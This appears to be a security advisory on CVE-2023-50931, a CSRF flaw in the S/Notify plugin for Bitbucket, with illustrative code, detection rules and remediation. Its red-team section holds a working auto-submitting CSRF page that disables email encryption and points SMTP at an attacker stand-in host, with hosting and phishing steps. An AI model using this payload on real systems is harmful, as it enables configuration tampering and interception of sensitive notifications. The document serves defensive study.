CVE-2023-50931

Executive Summary

CVE-2023-50931 is a Cross-Site Request Forgery (CSRF) vulnerability in the S/Notify plugin for Atlassian Bitbucket, affecting versions prior to 2.0.1. The vulnerability allows an attacker to trick an authenticated administrative user into unknowingly modifying the S/Notify configuration. This can lead to the disabling of email encryption, potentially exposing sensitive notification content. The attack vector requires user interaction (clicking a malicious link or visiting a malicious site) while the administrator is logged into Bitbucket. The CVSS score is 8.3 (High), and no public exploit code or proof-of-concept has been identified at this time. The vendor has released a patched version (2.0.1) to address this issue.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Base Score: 8.3 (High)
• Attack Vector (AV): Network – The attack can be launched remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – The attacker does not need prior authentication.
• User Interaction (UI): Required – The victim must click a link or visit a malicious site.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Email notifications may be exposed in plaintext.
• Integrity (I): High – Configuration settings can be altered.
• Availability (A): High – The attacker could disrupt email notification services.

Threat Level: High. The vulnerability is easy to exploit (low complexity, no privileges required) and can lead to significant data exposure and service disruption.

Deep Dive & Mechanics

The S/Notify plugin for Bitbucket is designed to enforce email encryption for notifications. The vulnerability lies in the configuration management interface, which lacks proper CSRF tokens or origin validation. When an administrator is logged into Bitbucket, the S/Notify configuration endpoint accepts state-changing requests without verifying that the request originated from the legitimate Bitbucket interface.

An attacker can craft a malicious HTML page or email containing a request to the S/Notify configuration endpoint (e.g., POST /plugins/servlet/snotify/admin/config). If the administrator visits this page while authenticated, the browser automatically includes the session cookie, and the request is processed as if it came from the administrator. This allows the attacker to modify settings such as disabling encryption, changing SMTP server details, or redirecting notifications to an attacker-controlled server.

The vulnerability is classified under CWE-352 (Cross-Site Request Forgery). The attack does not require any special network position; it can be executed via social engineering (phishing email) or by hosting a malicious website.

Vulnerable vs. Patched Code

Vulnerable Code (pre-2.0.1): The configuration endpoint likely lacked CSRF protection. A simplified example of the vulnerable servlet:

// Vulnerable: No CSRF token validation
@WebServlet("/plugins/servlet/snotify/admin/config")
public class SNotifyConfigServlet extends HttpServlet {
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) {
        String encryptionEnabled = req.getParameter("encryption");
        // Directly update configuration without CSRF check
        config.setEncryptionEnabled(Boolean.parseBoolean(encryptionEnabled));
    }
}

Patched Code (2.0.1+): The patched version introduces a CSRF token that must be included in every state-changing request. The token is generated per session and validated on the server side.

// Patched: CSRF token validation
@WebServlet("/plugins/servlet/snotify/admin/config")
public class SNotifyConfigServlet extends HttpServlet {
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) {
        String csrfToken = req.getParameter("csrfToken");
        if (!csrfToken.equals(req.getSession().getAttribute("csrfToken"))) {
            resp.sendError(HttpServletResponse.SC_FORBIDDEN, "Invalid CSRF token");
            return;
        }
        String encryptionEnabled = req.getParameter("encryption");
        config.setEncryptionEnabled(Boolean.parseBoolean(encryptionEnabled));
    }
}

Additionally, the configuration page now includes the CSRF token in the form:

<form action="/plugins/servlet/snotify/admin/config" method="POST">
    <input type="hidden" name="csrfToken" value="<%= session.getAttribute("csrfToken") %>">
    <input type="checkbox" name="encryption" value="true"> Enable Encryption
    <input type="submit" value="Save">
</form>

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A Bitbucket instance with S/Notify plugin version < 2.0.1.
• An authenticated administrator session (the victim).
• A controlled web server to host the malicious page.

Exploitation Steps:

1. Craft the malicious HTML page that automatically submits a POST request to the S/Notify configuration endpoint.

<!DOCTYPE html>
<html>
<body>
<h1>Click me to win a prize!</h1>
<form id="csrfForm" action="http://target-bitbucket/plugins/servlet/snotify/admin/config" method="POST">
    <input type="hidden" name="encryption" value="false">
    <input type="hidden" name="smtpServer" value="attacker-controlled.com">
    <input type="submit" value="Claim Prize">
</form>
<script>
    document.getElementById('csrfForm').submit();
</script>
</body>
</html>

2. Host the page on an attacker-controlled server (e.g., using Python's HTTP server).

python3 -m http.server 8080

3. Deliver the link to the victim administrator via email or social engineering.

4. Victim clicks the link while logged into Bitbucket. The form auto-submits, modifying the S/Notify configuration.

Expected Outcome: Email encryption is disabled, and SMTP settings are changed to the attacker's server, allowing interception of future notifications.

Blue Team (Defense & Detection)

Detection Steps:

• Monitor for unexpected changes to S/Notify configuration via audit logs.
• Alert on POST requests to /plugins/servlet/snotify/admin/config without a valid Referer header.
• Implement network segmentation to limit access to Bitbucket admin interfaces.

Honeypot Setup:

• Deploy a fake S/Notify configuration endpoint that logs all requests and alerts on suspicious activity.

# Simple honeypot to detect CSRF attempts
from flask import Flask, request
app = Flask(__name__)

@app.route('/plugins/servlet/snotify/admin/config', methods=['POST'])
def honeypot():
    with open('/var/log/csrf_honeypot.log', 'a') as f:
        f.write(f"Request from {request.remote_addr}: {request.form}\n")
    return "OK", 200

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /plugins/servlet/snotify/admin/config with unexpected parameters (e.g., encryption=false).
  • Referer header missing or pointing to an external domain.
  • Unusual SMTP server addresses in configuration changes (e.g., attacker-controlled.com).

• Host IOCs:

  • Modified S/Notify configuration files (e.g., snotify.properties) with altered encryption settings.
  • Unexpected entries in Bitbucket audit logs showing configuration changes by an administrator without corresponding UI interaction.

• Log IOCs:

  • Bitbucket access logs showing POST to /plugins/servlet/snotify/admin/config from an external Referer.
  • Application logs showing CSRF token validation failures (if patched version is partially deployed).

Detection Engineering

YARA Rule

rule CVE_2023_50931_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts against S/Notify for Bitbucket"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2023-50931"
    strings:
        $csrf_form = "action=\"/plugins/servlet/snotify/admin/config\"" ascii wide nocase
        $encryption_param = "encryption=false" ascii wide nocase
        $smtp_param = "smtpServer=" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2023-50931 CSRF Attempt Against S/Notify
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to S/Notify configuration endpoint without proper Referer
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: bitbucket
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/plugins/servlet/snotify/admin/config'
    filter:
        cs-referer: 'https://target-bitbucket/*'
    condition: selection and not filter
falsepositives:
    - Legitimate configuration changes from the Bitbucket UI
level: high

Suricata Rule

alert http any any -> $BITBUCKET_SERVER 80,443 (msg:"CVE-2023-50931 CSRF Attempt Against S/Notify"; flow:to_server,established; content:"POST"; http_method; content:"/plugins/servlet/snotify/admin/config"; http_uri; content:"encryption=false"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade S/Notify to version 2.0.1 or later. This is the only complete fix.
2. Apply virtual patching using a WAF to block POST requests to /plugins/servlet/snotify/admin/config without a valid Referer header.
3. Restrict administrative access to Bitbucket to trusted IP ranges only.

Long-Term Measures:

• Implement CSRF tokens in all state-changing endpoints.
• Conduct security training for administrators to recognize phishing attempts.
• Enable multi-factor authentication (MFA) for Bitbucket admin accounts.
• Regularly audit plugin configurations for unauthorized changes.

Workaround (if patching is not immediately possible):

• Disable the S/Notify plugin temporarily until the upgrade can be performed.
• Use a reverse proxy to add CSRF validation headers.

Valters IT